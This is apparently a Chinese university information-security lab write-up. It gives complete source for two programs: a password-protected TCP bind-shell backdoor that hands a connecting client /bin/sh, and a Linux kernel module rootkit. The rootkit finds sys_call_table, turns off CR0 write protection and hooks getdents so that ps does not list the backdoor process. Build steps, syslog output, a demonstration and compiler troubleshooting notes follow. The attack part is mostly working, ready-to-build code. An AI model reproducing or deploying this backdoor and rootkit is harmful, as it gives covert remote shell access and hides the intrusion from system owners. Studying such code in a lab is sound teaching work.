文章不講解理論知識哈,想學習理論知識的,認真聽課😄,也能夠參考郭老師的講義:信息安全課程 ustcsse308html
對於Linux,我只是個半路闖進來的小白,作實驗過程當中常常會被Linux內核玩得懷疑人生。因此我以爲頗有必要先闡明實驗的環境,以避免各位同窗不當心掉坑裏。固然,若是你就是想爬坑,咱也攔不住😄node
實驗環境 / 工具:linux
你可能用得上的網站:android
相關實驗:c++
回到目錄git
代碼是參考往屆學長的,而後本身DIY了下。參考自:Rootkit-LKM編程劫持系統調用,隱藏後門程序backdoor(ps,ls)github
Makefile(再次強調一遍,不要更改Makefile文件的名稱,而且因爲make命令的限制,make -C ... 的前面必須是2個tab(不能將tab轉爲空格) )shell
1 obj-m += lcx-pshider.o 2 3 all: 4 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 clean: 6 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
backdoor.c編程
1 #include <stdio.h> 2 #include <sys/socket.h> 3 #include <unistd.h> 4 #include <netinet/in.h> 5 #include <stdlib.h> 6 #include <string.h> 7 8 #define BUFF_SIZE 128 9 #define PORT 1234 10 11 int main(int argc, char argv[]) { 12 int i, listenfd, acptfd; 13 pid_t pid; 14 char buf[BUFF_SIZE]; 15 socklen_t sklen; 16 struct sockaddr_in saddr; 17 struct sockaddr_in caddr; 18 char enterpass[32] = "Password: "; 19 char welcome[32] = "Welcome\n"; 20 char password[5] = "1234"; 21 char sorry[50] = "Connection failure, error password"; 22 23 if ((listenfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { 24 perror("socket creation error"); 25 exit(1); 26 } 27 bzero(&saddr, sizeof(saddr)); 28 saddr.sin_family = AF_INET; 29 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 30 saddr.sin_port = htons(PORT); 31 32 if (bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0 33 || listen(listenfd, 20) < 0) { 34 exit(1); 35 } 36 sklen = sizeof(caddr); 37 38 while (1) { 39 acptfd = accept(listenfd, (struct sockaddr *)&caddr, &sklen); 40 if ((pid = fork()) > 0) { 41 exit(0); 42 } else if (!pid) { 43 close(listenfd); 44 write(acptfd, enterpass, strlen(enterpass)); 45 memset(buf, '\0', BUFF_SIZE); 46 read(acptfd, buf, BUFF_SIZE); 47 if (strncmp(buf, password, strlen(password)) != 0) { 48 write(acptfd, sorry, strlen(sorry)); 49 close(acptfd); 50 exit(0); 51 } else { 52 write(acptfd, welcome, strlen(welcome)); 53 dup2(acptfd, 0); 54 dup2(acptfd, 1); 55 dup2(acptfd, 2); 56 execl("/bin/sh", "backdoor", NULL); 57 } 58 } 59 } 60 close(acptfd); 61 return 0; 62 }
lcx-pshider.c
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/uaccess.h> 4 #include <linux/slab.h> 5 #include <linux/fs.h> 6 #include <linux/string.h> 7 8 /* https://elixir.bootlin.com/linux/v4.10.17/source/fs/readdir.c#L150 9 * http://www.man7.org/linux/man-pages/man2/getdents.2.html 10 * http://www.man7.org/linux/man-pages/man3/readdir.3.html 11 */ 12 struct linux_dirent { 13 unsigned long d_ino; /* Inode number */ 14 unsigned long d_off; /* Offset to next linux_dirent */ 15 unsigned short d_reclen; /* Length of this linux_dirent */ 16 char d_name[1]; /* Filename (null-terminated) */ 17 }; 18 19 static unsigned long **sys_call_table; 20 21 /* The system call getdents() reads several linux_dirent structures 22 * from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. 23 * The argument count specifies the size of that buffer. 24 */ 25 long (*orig_getdents)(unsigned int fd, 26 struct linux_dirent __user *dirp, 27 unsigned int count); 28 29 void disable_write_protection(void) { 30 unsigned long cr0 = read_cr0(); 31 clear_bit(16, &cr0); 32 write_cr0(cr0); 33 } 34 35 void enable_write_protection(void) { 36 unsigned long cr0 = read_cr0(); 37 set_bit(16, &cr0); 38 write_cr0(cr0); 39 } 40 41 /** 42 * 獲取 PID 的長度 43 * 1) 若當前<dirent>是由命令<ps>產生的結果,則返回PID的長度,如: 44 * d_name = "2904" => return 4 45 * 2) 若當前<dirent>不是由命令<ps>產生的結果,則返回-1,如: 46 * d_name = "kcore" => return -1 47 * @author southday 48 * @date 2019.05.01 49 */ 50 int get_pid_len(char *d_name) { 51 int len = 0; 52 char *p; 53 for (p = d_name+strlen(d_name)-1; p >= d_name; p--) { 54 if (*p >= '0' && *p <= '9') 55 len++; 56 else 57 return -1; 58 } 59 return len; 60 } 61 62 /** 63 * 判斷當前<dirent>是否須要過濾 64 * 假設進程<backdoor>的PID爲5930,則/proc/5930/status文件的第一行就包含<backdoor>進程的名稱,以下: 65 * > cat /proc/5930/status | head -n 1 66 * Name: backdoor 67 * 根據匹配/proc/${PID}/status中的進程名稱來決定是否過濾該<dirent> 68 * @author southday 69 * @date 2019.05.01 70 */ 71 int need_filter(char *d_name) { 72 int isneed = 0, pidlen = 0; 73 struct file *fp; 74 mm_segment_t fs; 75 loff_t pos; 76 char *buf = NULL; 77 char *fpath = NULL; 78 char *proc = "/proc/"; 79 char *status = "/status"; 80 81 if ((pidlen = get_pid_len(d_name)) < 0) 82 goto out; 83 84 buf = (char *)kmalloc(64, GFP_KERNEL); 85 fpath = (char *)kmalloc(pidlen+14, GFP_KERNEL); 86 if (buf == NULL || fpath == NULL) 87 goto out; 88 89 // e.g: /proc/2842/status 90 memmove(fpath, (char *)proc, 6); // /proc/ 91 memmove(fpath+6, (char *)d_name, pidlen); // /proc/2842 92 memmove(fpath+6+pidlen, (char *)status, 7); // /proc/2842/status 93 fpath[13+pidlen] = '\0'; 94 printk("pid = %s, pidlen = %d\n", d_name, pidlen); 95 printk("fpath = %s\n", fpath); 96 97 fp = filp_open(fpath, O_RDONLY, 0000); 98 if (IS_ERR(fp)) { 99 printk("file open error, file path: %s\n", fpath); 100 goto out; 101 } 102 103 fs = get_fs(); // 取當前fs值 104 set_fs(KERNEL_DS); // 設置fs值,忽略對用戶空間地址的檢查 105 pos = 0; 106 /* ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos); 107 * 1) 第2個參數被 __user* 修飾,表示buffer應該指向用戶空間的內存,而這裏的buf指向的是內核空間的內存; 108 * 2) 若是不進行set_fs(KERNEL_DS)設置,vfs_read()函數會返回失敗-EFAULT; 109 * 3) set_fs(KERNEL_DS) 繞過對buffer所指內存空間的檢查,讓下面的vfs_read()函數得以繼續進行; 110 */ 111 vfs_read(fp, buf, 64, &pos); 112 if (strstr(buf, "backdoor") != NULL) { 113 isneed = 1; 114 printk("read: \n%s\n", buf); // Name: backdoor 115 } 116 filp_close(fp, NULL); 117 set_fs(fs); // 恢復fs 118 out: 119 kfree(buf); 120 kfree(fpath); 121 return isneed; 122 } 123 124 /** 125 * 系統調用劫持函數,劫持ps,過濾掉名爲 backdoor 的進程 126 * @author southday 127 * @date 2019.05.01 128 */ 129 asmlinkage long hack_getdents(unsigned int fd, 130 struct linux_dirent __user *dirp, 131 unsigned int count) { 132 int number = 0, copylen = 0; 133 struct linux_dirent *filtered_dirp, // 指向已完成過濾的<dirent> 134 *orig_dirp, // 指向原始的<dirent> 135 *td1, *td2; // 用於遍歷、鏈接的臨時指針 136 137 /* 若是不設置td1, td2,直接用filtered_dirp和orig_dirp進行遍歷和鏈接, 138 * 那麼在kfree()時就會有問題,由於這兩個指針的值已經改變了 139 */ 140 if ((number = (*orig_getdents)(fd, dirp, count)) == 0) 141 return 0; 142 143 filtered_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL); 144 td1 = filtered_dirp; 145 orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL); 146 td2 = orig_dirp; 147 copy_from_user(orig_dirp, dirp, number); 148 149 while (number > 0) { 150 number -= td2->d_reclen; 151 // 鏈表尾插法,忽略掉要過濾的內容,將要保留的<dirent>一個個的插到鏈表td1尾部 152 if (!need_filter(td2->d_name)) { 153 memmove(td1, (char *)td2, td2->d_reclen); 154 td1 = (struct linux_dirent *)((char *)td1 + td2->d_reclen); 155 copylen += td2->d_reclen; 156 } 157 td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen); 158 } 159 160 copy_to_user(dirp, filtered_dirp, copylen); 161 kfree(orig_dirp); 162 kfree(filtered_dirp); 163 return copylen; 164 } 165 166 /** 167 * 獲取 sys_call_table 的首地址 168 * @author southday 169 * @date 2019.05.01 170 */ 171 unsigned long ** find_sct(void) { 172 u64 lstar, i; 173 void *lstar_sct_addr = NULL; 174 175 // 將寄存器MSR_LSTAR中的值讀到lstar中,該值是system_call處理例程的地址 176 rdmsrl(MSR_LSTAR, lstar); 177 for (i = 0; i <= PAGE_SIZE; i += 1) { 178 u8 *arr = (u8 *)lstar + i; 179 /* 搜索負責進行系統調用的代碼段,匹配call指令機器碼 180 * call disp32(,%rax,8) ==> FF 14 C5 -- -- -- -- 181 * 1) FF 14 C5 是entry_SYSCALL_64的機器碼 182 * 2) disp32 是SCT的首地址 183 */ 184 if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { 185 lstar_sct_addr = arr + 3; 186 break; 187 } 188 } 189 // 擴展爲64位,由於SCT首地址符號位爲1,因此前面32位直接補1就能夠 190 return lstar_sct_addr == NULL ? NULL : (void *)(0xffffffff00000000 | *(u32 *)lstar_sct_addr); 191 } 192 193 static int filter_init(void) { 194 printk("fitler_init\n"); 195 sys_call_table = find_sct(); 196 if (!sys_call_table) { 197 printk("sys_call_table = NULL\n"); 198 return 0; 199 } 200 orig_getdents = (void *)sys_call_table[__NR_getdents]; 201 printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents); 202 disable_write_protection(); 203 sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents; 204 enable_write_protection(); 205 printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents); 206 printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]); 207 return 0; 208 } 209 210 static void filter_exit(void) { 211 disable_write_protection(); 212 sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; 213 enable_write_protection(); 214 printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents); 215 printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]); 216 printk("fitler_exit\n"); 217 } 218 219 MODULE_LICENSE("GPL"); 220 module_init(filter_init); 221 module_exit(filter_exit);
主要關注下 ls 和 ps 關於 direntry 的區別
測試代碼:pshider.c
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/uaccess.h> 4 #include <linux/slab.h> 5 6 /* https://elixir.bootlin.com/linux/v4.10.17/source/fs/readdir.c#L150 7 * http://www.man7.org/linux/man-pages/man2/getdents.2.html 8 * http://www.man7.org/linux/man-pages/man3/readdir.3.html 9 */ 10 struct linux_dirent { 11 unsigned long d_ino; /* Inode number */ 12 unsigned long d_off; /* Offset to next linux_dirent */ 13 unsigned short d_reclen; /* Length of this linux_dirent */ 14 char d_name[1]; /* Filename (null-terminated) */ 15 }; 16 17 static unsigned long **sys_call_table; 18 19 long (*orig_getdents)(unsigned int fd, 20 struct linux_dirent __user *dirp, 21 unsigned int count); 22 23 void disable_write_protection(void) { 24 unsigned long cr0 = read_cr0(); 25 clear_bit(16, &cr0); 26 write_cr0(cr0); 27 } 28 29 void enable_write_protection(void) { 30 unsigned long cr0 = read_cr0(); 31 set_bit(16, &cr0); 32 write_cr0(cr0); 33 } 34 35 asmlinkage long hack_getdents(unsigned int fd, 36 struct linux_dirent __user *dirp, 37 unsigned int count) { 38 int number, temp; 39 struct linux_dirent *orig_dirp, // original dirent data 40 *td2; // traverse pointer 41 42 if ((number = (*orig_getdents)(fd, dirp, count)) == 0) 43 return 0; 44 45 temp = number; 46 orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL); 47 td2 = orig_dirp; 48 copy_from_user(orig_dirp, dirp, number); 49 while (number > 0) { 50 printk("%lu -> %s\n", td2->d_ino, td2->d_name); 51 number -= td2->d_reclen; 52 td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen); 53 } 54 kfree(orig_dirp); 55 return temp; 56 } 57 58 unsigned long ** find_sct(void) { 59 u64 lstar, i; 60 void *lstar_sct_addr = NULL; 61 62 rdmsrl(MSR_LSTAR, lstar); 63 for (i = 0; i <= PAGE_SIZE; i += 1) { 64 u8 *arr = (u8 *)lstar + i; 65 if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { 66 lstar_sct_addr = arr + 3; 67 break; 68 } 69 } 70 return lstar_sct_addr == NULL ? NULL : (void *)(0xffffffff00000000 | *(u32 *)lstar_sct_addr); 71 } 72 73 static int filter_init(void) { 74 printk("fitler_init\n"); 75 sys_call_table = find_sct(); 76 if (!sys_call_table) { 77 printk("sys_call_table = NULL\n"); 78 return 0; 79 } 80 orig_getdents = (void *)sys_call_table[__NR_getdents]; 81 printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents); 82 disable_write_protection(); 83 sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents; 84 enable_write_protection(); 85 printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents); 86 printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]); 87 return 0; 88 } 89 90 static void filter_exit(void) { 91 disable_write_protection(); 92 sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; 93 enable_write_protection(); 94 printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents); 95 printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]); 96 printk("fitler_exit\n"); 97 } 98 99 MODULE_LICENSE("GPL"); 100 module_init(filter_init); 101 module_exit(filter_exit);
insmod後,tail -f /var/log/syslog 查看日誌:
ls命令,d_name 都是文件名
1 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ sudo insmod pshider.ko 2 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ ls 3 log.sh modules.order pshider.c pshider.mod.c pshider.o 4 Makefile Module.symvers pshider.ko pshider.mod.o 5 6 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ tail -f /var/log/syslog 7 May 1 00:10:07 ubuntu kernel: [ 367.437543] fitler_init 8 May 1 00:10:07 ubuntu kernel: [ 367.437545] original system call getdents, the address is 0xffffffffb0e599a0 9 May 1 00:10:07 ubuntu kernel: [ 367.437548] hacked system call getdents, the address is 0xffffffffc029b000 10 May 1 00:10:07 ubuntu kernel: [ 367.437549] modify sct success! sys_call_table[__NR_getdents] address is 0xffffffffc029b000 11 May 1 00:10:10 ubuntu kernel: [ 369.661008] 278608 -> pshider.mod.c 12 May 1 00:10:10 ubuntu kernel: [ 369.661008] 278587 -> Makefile 13 May 1 00:10:10 ubuntu kernel: [ 369.661009] 278754 -> .pshider.o.cmd 14 May 1 00:10:10 ubuntu kernel: [ 369.661009] 278605 -> pshider.o 15 May 1 00:10:10 ubuntu kernel: [ 369.661009] 278756 -> .pshider.ko.cmd 16 May 1 00:10:10 ubuntu kernel: [ 369.661009] 278610 -> pshider.ko 17 May 1 00:10:10 ubuntu kernel: [ 369.661010] 278606 -> pshider.mod.o 18 May 1 00:10:10 ubuntu kernel: [ 369.661010] 278841 -> .pshider.mod.o.cmd 19 May 1 00:10:10 ubuntu kernel: [ 369.661010] 278607 -> modules.order 20 May 1 00:10:10 ubuntu kernel: [ 369.661010] 278753 -> .tmp_versions 21 May 1 00:10:10 ubuntu kernel: [ 369.661010] 278752 -> . 22 May 1 00:10:10 ubuntu kernel: [ 369.661011] 278603 -> pshider.c 23 May 1 00:10:10 ubuntu kernel: [ 369.661011] 278580 -> .. 24 May 1 00:10:10 ubuntu kernel: [ 369.661011] 278832 -> log.sh 25 May 1 00:10:10 ubuntu kernel: [ 369.661011] 278609 -> Module.symvers 26 ... 27 May 1 00:10:36 ubuntu kernel: [ 396.198553] original system call getdents, the address is 0xffffffffb0e599a0 28 May 1 00:10:36 ubuntu kernel: [ 396.198554] hack module removed! sys_call_table[__NR_getdents] address is 0xffffffffb0e599a0 29 May 1 00:10:36 ubuntu kernel: [ 396.198554] fitler_exit
ps命令,d_name 是進程PID
1 lcx@ubuntu:~/Documents/InfoSecLab/E3$ ./backdoor & 2 [1] 2826 3 4 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ sudo insmod pshider.ko 5 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ ps -aux | grep backdoor 6 lcx 2826 0.0 0.0 4224 648 pts/19 S 00:20 0:00 ./backdoor 7 lcx 2842 0.0 0.0 21292 928 pts/6 S+ 00:21 0:00 grep --color=auto backdoor 8 9 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ tail -f /var/log/syslog 10 May 1 00:20:49 ubuntu kernel: [ 1009.460784] fitler_init 11 May 1 00:20:49 ubuntu kernel: [ 1009.460786] original system call getdents, the address is 0xffffffffb0e599a0 12 May 1 00:20:49 ubuntu kernel: [ 1009.460790] hacked system call getdents, the address is 0xffffffffc029b000 13 May 1 00:20:49 ubuntu kernel: [ 1009.460790] modify sct success! sys_call_table[__NR_getdents] address is 0xffffffffc029b000 14 May 1 00:21:01 ubuntu kernel: [ 1020.909999] 1 -> . 15 May 1 00:21:01 ubuntu kernel: [ 1020.910000] 1 -> .. 16 May 1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531963 -> fb 17 May 1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531846 -> fs 18 May 1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531854 -> bus 19 May 1 00:21:01 ubuntu kernel: [ 1020.910001] 4026532028 -> dma 20 May 1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531858 -> irq 21 May 1 00:21:01 ubuntu kernel: [ 1020.910002] 4026532408 -> mpt 22 May 1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531844 -> net 23 May 1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531855 -> sys 24 May 1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531849 -> tty 25 May 1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531965 -> acpi 26 May 1 00:21:01 ubuntu kernel: [ 1020.910003] 4026532045 -> keys 27 May 1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531996 -> kmsg 28 May 1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531967 -> misc 29 May 1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531961 -> mtrr 30 May 1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531969 -> scsi 31 May 1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531991 -> stat 32 May 1 00:21:01 ubuntu kernel: [ 1020.910004] 4026532024 -> iomem 33 May 1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531995 -> kcore 34 May 1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531983 -> locks 35 May 1 00:21:01 ubuntu kernel: [ 1020.910004] 4026532037 -> swaps 36 ... 37 May 1 00:21:01 ubuntu kernel: [ 1020.910013] 14359 -> 1 38 May 1 00:21:01 ubuntu kernel: [ 1020.910014] 227 -> 2 39 May 1 00:21:01 ubuntu kernel: [ 1020.910014] 231 -> 4 40 May 1 00:21:01 ubuntu kernel: [ 1020.910014] 235 -> 6 41 May 1 00:21:01 ubuntu kernel: [ 1020.910014] 237 -> 7 42 May 1 00:21:01 ubuntu kernel: [ 1020.910015] 239 -> 8 43 May 1 00:21:01 ubuntu kernel: [ 1020.910015] 241 -> 9 44 May 1 00:21:01 ubuntu kernel: [ 1020.910015] 243 -> 10 45 May 1 00:21:01 ubuntu kernel: [ 1020.910015] 245 -> 11 46 May 1 00:21:01 ubuntu kernel: [ 1020.910015] 247 -> 12 47 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 249 -> 13 48 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 251 -> 14 49 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 253 -> 15 50 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 255 -> 16 51 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 259 -> 18 52 May 1 00:21:01 ubuntu kernel: [ 1020.910016] 261 -> 19 53 May 1 00:21:01 ubuntu kernel: [ 1020.910017] 263 -> 20 54 ... 55 May 1 00:21:01 ubuntu kernel: [ 1020.910061] 31098 -> 2826 56 May 1 00:21:01 ubuntu kernel: [ 1020.910061] 31098 -> 2826 57 ... 58 May 1 00:21:50 ubuntu kernel: [ 1070.023470] original system call getdents, the address is 0xffffffffb0e599a0 59 May 1 00:21:50 ubuntu kernel: [ 1070.023471] hack module removed! sys_call_table[__NR_getdents] address is 0xffffffffb0e599a0 60 May 1 00:21:50 ubuntu kernel: [ 1070.023471] fitler_exit
1 後門程序運行效果
1)在 mice 上裝上後門程序 backdoor,後臺運行該程序;
2)hacker 用 nc 鏈接上後門程序,能夠得到一個shell,如圖:
2 在 mice 中載入內核模塊 lcx-pshider.ko
1)載入前執行 ps
2)載入內核模塊 lcx-pshider.ko,查看日誌 tail -f /var/log/syslog,執行 ps
3)執行 ps,發現 backdoor 被隱藏了
4)移除內核模塊 lcx-pshider,再次執行 ps,backdoor 現身了
1 warning: missing sentinel in function call
backdoor.c:55:17: warning: missing sentinel in function call [-Wformat=] execl("/bin/sh", "backdoor", 0); ^~~~~ // sentinel /'sentɪn(ə)l/,n. 哨兵
將代碼改成:execl("/bin/sh", "backdoor", (char *)0);
或者改成:execl("/bin/sh", "backdoor", NULL);
1.1 bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)
#include <sys/types.h> #include <sys/socket.h> int bind(int socket, const struct sockaddr* my_addr, socklen_t addrlen);
bind將my_addr所指的socket地址分配給未命名的sockfd文件描述符,addrlen參數指出該socket地址的長度。
調用成功返回0, 失敗返回-1,並設置errno;
1.2 listen(listenfd, 20)
#include <sys/socket.h> int listen(int sockfd, int backlog);
建立一個監聽隊列以存放待處理的客戶鏈接。
1)sockfd參數指定被監聽的socket;
2)backlog參數提示內核監聽隊列的最大長度。若是監聽隊列的長度超過backlog,服務器將不受理新的客戶鏈接,客戶端也將收到ECONNREFUSED錯誤信息。在內核版本2.2以前,backlog是指全部處於半鏈接狀態(SYN_RCVD)和徹底鏈接狀態(ESTABLISHED)的socket上限。但在內核版本2.2之後, 它只表示處於徹底鏈接狀態的socket上限,處於半鏈接狀態的socket上限則由/proc/sys/net/ipv4/tcp_max_syn_backlog內核參數定義。
backlog參數的典型值爲5;調用成功時返爲0,失敗時爲-1,並設置errno;
1.3 accept(listenfd, (struct sockaddr *)&caddr, &sklen)
#include <sys/types.h> #include <sys/socket.h> int accept(int sockfd, struct sockaddr* addr, socklen_t *addrlen);
sockfd參數是執行過listen調用的監聽socket。addr參數用來獲取被接受鏈接的遠端socket地址,該地址的長度由addrlen參數指出。
調用成功時返回一個新的鏈接socket,該socket惟一標識了被接受的這個鏈接,服務器可經過讀寫該socket來與客戶端通訊;失敗時返回-1,並設置errno;
1.一、1.二、1.3,參考資料:linux網絡編程二:基礎socket, bind, listen, accept, connect
2 Linux 內核 4.8.17 中 copy_from_user() 和 copy_to_user()
在:<linux/uaccess.h> 中;參考:
還可能引出的問題:
./arch/x86/include/asm/uaccess.h:32:9: error: dereferencing pointer to incomplete type ‘struct task_struct’ current->thread.addr_limit = fs; ^~
把代碼中的 #include <asm/uaccess.h> 替換爲 #include <linux/uaccess.h>,不要兩個都引入;
3 編譯時的 waring:ISO C90 forbids mixed declarations and code
/home/lcx/Documents/InfoSecLab/E3/ls_hide.c:69:5: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement] unsigned long *lstar_sct_addr = (unsigned long *)get_lstar_sct_addr(); ^~~~~~~~
把變量 *lstar_sct_addr 的聲明放到函數的最前面:
參考:ISO C90 forbids mixed declarations and code in C
4 rmmod module error
這個問題我沒解決;
rmmod:rmmod: ERROR: Module ls_hide is in use; rmmod: ERROR: ../libkmod/libkmod-module.c:793 kmod_module_remove_module() could not remove 'ls_hide': Device or resource busy rmmod: ERROR: could not remove module ls_hide: Device or resource busy
5 如何根據PID獲取到進程名稱
mice 後臺運行 backdoor:> ./backdoor &
查看進程:> ps aux | tail -n 3
根據進程PID找到進程名稱:> cat /proc/3010/status | head -n 10
6 char *strstr(const char *haystack, const char *needle) 的使用;
參考:C語言(函數)學習之strstr strcasestr
1 #include <stdio.h> 2 #include <string.h> 3 4 int main() { 5 char *s = "http://see.xidian.edu.cn/cpp/u/xitong/"; 6 char *r = NULL; 7 if ((r = strstr(s, "xidian")) != NULL) 8 printf("%s\n", r); 9 if ((r = strstr(s, "xcvklweu")) != NULL) 10 printf("%s\n", r); 11 return 0; 12 } 13 // 輸出 14 xidian.edu.cn/cpp/u/xitong/
7 u8 u64 等意思
參考:C 語言printf打印各類數據類型的方法(u8/s8/u16/s16.../u64/double/float)(全)
1 typedef signed char s8; 2 typedef unsigned char u8; 3 4 typedef signed short s16; 5 typedef unsigned short u16; 6 7 typedef signed int s32; 8 typedef unsigned int u32; 9 10 typedef signed long long s64; 11 typedef unsigned long long u64;
8 什麼是 getdents()?readdir()?
getdents,getdents64 —— get directory entries
struct dirent { ino_t d_ino; /* Inode number */ off_t d_off; /* Not an offset; see below */ unsigned short d_reclen; /* Length of this record */ unsigned char d_type; /* Type of file; not supported by all filesystem types */ char d_name[256]; /* Null-terminated filename */ };
參考:
The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.
參考:https://elixir.bootlin.com/linux/v4.18.17/source/include/linux/syscalls.h#L444
9 關於 struct linux_dirent,struct linux_dirent64
在 fs/readdir.c 中有 linux_dirent 的定義,以下:
struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; };
你能夠在 ps_hider.c 文件中定義本身的 linux_dirent 結構體,或者使用 linux/dirent.h 中定義好的 linux_dirent64 結構體,以下:
struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; // 須要包含頭文件 <linux/dirent.h>
參考:
10 什麼是 GLIBC?
1)GNU C庫(英語:GNU C Library,常簡稱爲glibc)是一種按照LGPL許可協議發佈的,自由的,公開源代碼的,方便從網絡下載的C的編譯程序。GNU C運行期庫,是一種C函數庫,是程序運行時使用到的一些API集合,它們通常是已預先編譯好,以二進制代碼形式存在Linux類系統中,GNU C運行期庫一般做爲GNU C編譯程序的一個部分發布。
2)Glibc最初是自由軟件基金會(FSF)爲其GNU操做系統所寫,但當前最主要的應用是配合Linux內核,成爲GNU/Linux操做系統一個重要的組成部分。
參考:GNU C庫:https://zh.wikipedia.org/wiki/GNU_C%E5%87%BD%E5%BC%8F%E5%BA%AB
11 __user 修飾符的做用?
在下面的代碼中使用了__user:
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){}
解釋:
參考:
12 error: function declaration isn’t a prototype
/home/lcx/Documents/InfoSecLab/E3/pshider/lcx-ps_hider.c:5:6: error: function declaration isn’t a prototype [-Werror=strict-prototypes] void disable_write_protection() { ^~~~~~~~~~~~~~~~~~~~~~~~
從新定義函數爲:void disable_write_protection(void) {}
13 爲何 sys_call_table 的類型要聲明爲 unsigned long **?
參考的代碼 ps_hide.c 中有代碼:
static unsigned long **sys_call_table;
在 arch/x86/kernel/syscall_64.c 中找到 sys_call_table 的定義:
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { /* * Smells like a compiler bug -- it doesn't work * when the & below is removed. */ [0 ... __NR_syscall_max] = &sys_ni_syscall, #include <asm/syscalls_64.h> };
在 arch/x86/include/asm/syscall.h 中找到 sys_call_ptr_t 的定義:
typedef asmlinkage long (*sys_call_ptr_t)(unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long); extern const sys_call_ptr_t sys_call_table[];
時間有限,我也只追查到這個程度;
個人理解是:
參考:
14 void * 指針的做用?
void的意思就是「無類型」,void指針則爲「無類型指針」,void指針能夠指向任何類型的數據。因此void指針通常被稱爲通用指針或者泛指針,或者叫作萬能指針。
在C語言中在任什麼時候候均可以用void類型的指針來代替其餘類型的指針,void指針能夠指向任何數據類型的變量;
若是要經過void指針去獲取它所指向的變量值時候,須要先將void指針強制類型轉換成和變量名類型想匹配的數據類型指針後再進行操做,而後才能對原來的void指針指向的空間進行操做;
void *p; int *pa = (int *)p;
任何類型的指針均可以賦值給void指針,無需進行強制類型轉換;
int a = 1; int *pa = &a; void *p = pa; // 無需強轉
15 GCC G++ 編譯有何區別?
對於下面代碼:
1 #include <stdio.h> 2 #include <string.h> 3 4 unsigned long ** getllp(); 5 void cast_test(); 6 7 int main() { 8 unsigned long **llp = getllp(); 9 printf("llp = %p\n", llp); 10 cast_test(); 11 return 0; 12 } 13 14 unsigned long ** getllp() { 15 int a = 1; 16 void *p = &a; 17 printf("p = %p\n", p); 18 return (void *)(0xffffffff00000000 | *(unsigned int *)p); 19 } 20 21 void cast_test() { 22 int a = 1; 23 void *p = &a; 24 unsigned long **llp = (void *)(0xffffffff00000000 | *(unsigned int *)p); 25 printf("p = %p, llp = %p\n", p, llp); 26 }
GCC 編譯:
G++ 編譯:
也就是說,void * 轉換爲其餘類型指針時:
GCC和G++的關聯與區別:
參考: gcc與g++的區別:http://www.javashuo.com/article/p-cdzbplqe-dv.html
16 PAGE_SIZE 在哪裏定義?是什麼意思?
出自 ps_hide.c 中的 get_lstar_sct_addr 方法:
